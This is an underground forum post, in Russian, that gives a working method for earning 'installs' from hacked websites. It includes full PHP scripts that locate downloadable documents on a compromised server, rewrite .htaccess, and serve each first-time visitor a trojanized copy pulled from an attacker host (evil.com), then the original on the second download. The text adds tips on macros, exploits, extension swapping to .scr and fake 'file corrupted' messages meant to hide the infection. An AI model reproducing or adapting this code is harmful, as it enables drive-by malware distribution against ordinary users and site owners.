TEXHO

Инсталлы с шеллов. Старый новый метод.[2015]

В теме 1 сообщение

Небольшое отступление. Некоторое время назад на блекбоксе прошел конкурс статей. Я там участвовал и занял паршивое третье место (из пяти). То ли потому, что я лах па жизне, то ли потому, что я слишком гениален, чтобы меня поняли плебеи (склоняюсь к первой версии).

 

Статья называлась "Инсталлы с шеллов. Новый метод". Разумеется, оказалось, что метод совсем не новый, не самый лучший и вообще говно. Некоторые рецензенты использовали такую же технику еще во времена программирования на перфокартах. Поэтому, я думаю никто не обидится огорчится, если выложу данную статью в своем говноблоге.

 

Далее - сама статья:

 

Введение.

 

Существует много разных методов монетизации шеллов. Биржи ссылок, дорвеи, редиректы, спам через шеллы и т.д. Один из них - это добыча инсталлов. Через ифрейм вы сливаете трафик с сайта на связку сплойтов и получаете инсталлы софта. Это может быть софт партнерки или ваш собственный (лоадер, троян, что угодно).

 

У данного метода есть несколько минусов:

  • Основные загрузки идут с IE, в разы меньше с Opera, FF. Chrome не пробивается.
  • Аренда связок - это весьма не дешевое развлечение (день - 30$-150$, неделя - 150-750$, месяц - 500$-3000$, вилки цен из того, что есть в паблике). При этом никто не гарантирует, что вы отобьете свои затраты.
  • Если вы не умеете сливать трафик, велик шанс убить шелл с концами.
  • Низкий процент пробива (8-12%) и разный отстук со связки (вилка 40-95%) - нужно немало трафика, чтобы отбить аренду.

Поэтому этот метод мы оставим профи, которые могут спокойно оперировать большими объемами трафека и шекелей.

 

Новый старый метод.

 

Мы ищем на шеллах все файлы, которые годятся для впаривания инсталла. Если такие файлы на шелле есть, мы немного редактируем .htaccess (добавляем пару строк) и заливаем один скрипт (условно назовем его evil.php). В итоге пользователи при первом скачивании получают файл с нашего сервера, с тем же именем и расширением, что и оригинальный файл, однако с внедренным нами .exe.

 

При втором скачивании, пользователь уже получает оригинальный файл.

А мы получаем маленький, но стабильный поток инсталлов.

 

Для наглядности, суть метода в виде схемы:

 

iwcc135bTKKR9dcm50gxAg.png

 

Я думаю, стоит отметить, что сайтов может быть сколь угодно много, а шелл, на котором находятся склеенные файлы - один. Это позволяет существенно сократить время на чистку файлов.

 

Как вы видите, у нового метода есть несколько неоспоримых плюсов:

  • Без разницы, какой браузер используется (т.е. попадут все - IE, Chrome, FF, Opera...).
  • Способ существенно дешевле чем использование связок.
  • Палится только файл с сервера. Основной сервер (где склеенные файлы) не палится, т.к. нет обращения к нему через браузер пользователя.
  • Легко автоматизировать.

Нельзя 100% предсказать, сколько будет загрузок - это зависит от шелла. Однозначно известно, что загрузки будут достаточно дешевыми и качественными.

 

(Наверное, чтобы занять 1 место, тут надо было скрины выплат из ПП пихнуть или расчеты космических прибылей. В общем, представьте, что они были.)

 

Мы ищем на шеллах все файлы, которые годятся для впаривания инсталла.

 

Скрипт для поиска файлов:

 

Code:
<?php// Настройки// Директория, откуда стартует скрипт// По идее надо положить в корень сайта$directory = ".";//Расширения, которые ищет скрипт. Если вы найдете еще типы файлов, в которые можно встроить свой код тем или иным способом, вы можете добавить их расширения сюда. $extensions = array (        "pdf", "exe", "zip", "rar",        "gz", "doc", "docx", "docm",        "xls", "xlsx", "xlsm", "ppt",        "pps", "pptm", "chm"         );//Рекурсивная функция поиска файловfunction get_files($dir,$arr_ext){    $fileslist = array();    if($dh = opendir($dir)){        while (false !== ($file = readdir($dh))){            if($file == '.' || $file == '..'){                continue;            }            // По идее, если линукc - '/' если винда - ''            $path = $dir . '/' . $file;            if(is_file($path)){                $extension = mb_strtolower( array_pop(explode('.', $file)) );                foreach ($arr_ext as $ext){                    if($extension == $ext){                        $files_list[$ext][] = $path;                    }                }            }            elseif(is_dir($path)){                $files_list= array_merge_recursive($files_list, get_files($path,$arr_ext));            }        }        closedir($dh);        return $files_list;    }}// Получаем список файлов$loot = get_files($directory,$extensions);//Тестовый вывод. Я юзал в PHP-консоли WSO. Вы можете переделать все под свой скрипт/софт.print_r($loot);
Получив список файлов, мы можем решить, стоит ли вообще морочиться на этом шелле с подменой файлов (бессмысленно, если на шелле только код, стили и js-скрипты). Но не стоит забывать, что даже шелл, где находится всего один .xls-файл с прайс-листом фирмы, может принести много качественных инсталлов.

 

Вышеприведенный скрипт, вы можете использовать, чтобы чекать шеллы через вкладку php в WSO, либо через менеджер шеллов, либо вы можете его видоизменить и использовать в своем собственном софте.

 

Идем далее...

 

Если нужные нам файлы есть (а чаще всего они есть), то генерируем с помощью скрипта .htaccess.

 

Скрипт для создания .htaccess:

 

Code:
<?php//Имя основного скрипта$evil_file_name = "evil.php";//Добавляйте/убирайте расширения по своему усмотрению.$extensions = array (        "pdf", "exe", "zip", "rar",        "gz", "doc", "docx", "docm",        "xls", "xlsx", "xlsm", "ppt",        "pps", "pptm", "chm"         );$source = "RewriteEngine onn";$source .= "RewriteRule ^(.*?).(" .join("|",$extensions). ")$ ".$evil_file_name." [L]n";$fh = fopen(".htaccess","w");fwrite($fh,$sоurce);fclose($fh);
В принципе, можно обойтись и без этого скрипта (больше вставок кода - солиднее статья).

 

И наконец код того самого скрипта, который подменяет файлы.

 

Скрипт для подмены файлов (evil.php):

 

Code:
<?php$path = pathinfo($_SERVER['REQUEST_URI']);$file = $path['basename'];$full_name = substr($_SERVER['REQUEST_URI'],1);// Вместо "./" можно прописать путь к корню сайта, если файл evil.php спрятан где-то в глубине папок.// 1==0 ;-)if(file_exists("./".$full_name) and 1==0){    switch($path['extension']){        case 'doc':        case 'docx':        case 'docm': $content_type ='msword';break;        case 'xls':        case 'xlsx':        case 'xlsm':$content_type ='vnd.ms-excel';break;        case 'ppt':        case 'pptm':        case 'pps':$content_type ='vnd.ms-powerpoint';break;        case 'zip':$content_type ='zip';break;        case 'rar':$content_type ='x-rar-compressed';break;        case 'gz':$content_type ='x-gzip';break;        case 'pdf':$content_type ='pdf';break;        default: $content_type ='octet-stream';break;    }    header('Content-type: application/'.$content_type);    header('Content-Disposition: attachment; filename="'.$file.'"');    //Если уже впаривали файл, то будет стоять кука, не мучаем и отдаем нормальный файл.    //Здесь можно дописать любые дополнительные проверки (браузер, ОС и т.д.).    if($_COOKIE['fooled']=='1'){        readfile($full_name);    }else {        //Ставим куку на год        setcookie ("fooled", "1", time() + 365 * 24 * 60 * 60 * 1000);        //Здесь мы тянем зараженный файл.        readfile('http://evil.com/evil'.$path['extension']);    }} else {    header("HTTP/1.0 404 Not Found");    die("<html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The     requested URL ".$_SERVER['REQUEST_URI']." was not found on this server.</p></body></html>");}
Мы его помещаем в корень сайта (если вы хотите его спрятать поглубже, то нужно будет немного подредактировать .htaccess и сам код скрипта).

 

Что касается файлов, то как вы понимаете, нельзя ограничиваться подменой исключительно exe-файлов:

 

.

  • doc, .docx, .docm, .xls, .xlsx, xlsm, .ppt, .pps, .pptm - используем макросы, эксплоиты, или просто разводки.
  • .rar, .gz, .tar, .zip - пихаем в архив наш .exe
  • .pdf - эксплоиты
  • .exe, .com, .pif, .scr - внаглую подменяем exe.
  • .chm, .mht и еще с десяток расширений - способы внедрения своего кода ищите в Google, данная статья не посвящена склейке.

В некоторых случаях мы можем внаглую менять расширение - пользователь скачивает, к примеру, .doc, а мы ему отдаем файл с тем же именем, но уже с расширением .scr (на тот случай, если у вас нет никакого желания морочиться со склейкой, макросами, искать или покупать эксплоиты). Правда, знатно поебетесь с хромом.

 

Для пущей правдоподобности, после запуска склеенного файла, пользователь должен получить сообщение в духе "Файл был поврежден." или что-то наподобие (теми же макросами это легко реализовать). Тогда юзер скачивает тот же файл еще раз, и скрипт ему отдаст уже оригинальный файл с шелла. Все его сомнения относительно благонадежности сайта улетучатся как дым.

 

(Далее была вшивая попытка привлечь внимание к статье тех, кто работает по мобильному трафику)

 

Для мобильных пользователей можно использовать заглушки вместо подмены. К примеру, вы не даете скачать файл, пока человек не примет смс или не установит мобильное приложение. В коде основного скрипта этого нет, но при желании вы это легко сможете дописать.

 

Заключение.

 

Вы наверняка сможете придумать еще парочку способов использования описанного метода. Либо придумать какие-то свои методы, на основе изложенного. Целью статьи было ̶и̶м̶е̶н̶н̶о̶ ̶д̶а̶т̶ь̶ ̶в̶е̶к̶т̶о̶р̶ ̶д̶л̶я̶ ̶д̶а̶л̶ь̶н̶е̶й̶ш̶е̶й̶ ̶р̶а̶б̶о̶т̶ы̶ ̶и̶ ̶и̶с̶с̶л̶е̶д̶о̶в̶а̶н̶и̶й̶ и срубить бабла с конкурса.

 

Я постарался расписать всю техническую часть метода, однако мог что-то упустить, как ненамеренно (ибо не выдался умом), так и намеренно (ибо не выдался умом).

 

Спасибо за внимание.

 

© r00t

Поделиться сообщением


Ссылка на сообщение

Для публикации сообщений создайте учётную запись или авторизуйтесь

Вы должны быть пользователем, чтобы оставить комментарий

Создать учетную запись

Зарегистрируйте новую учётную запись в нашем сообществе. Это очень просто!

Регистрация нового пользователя

Войти

Уже есть аккаунт? Войти в систему.

Войти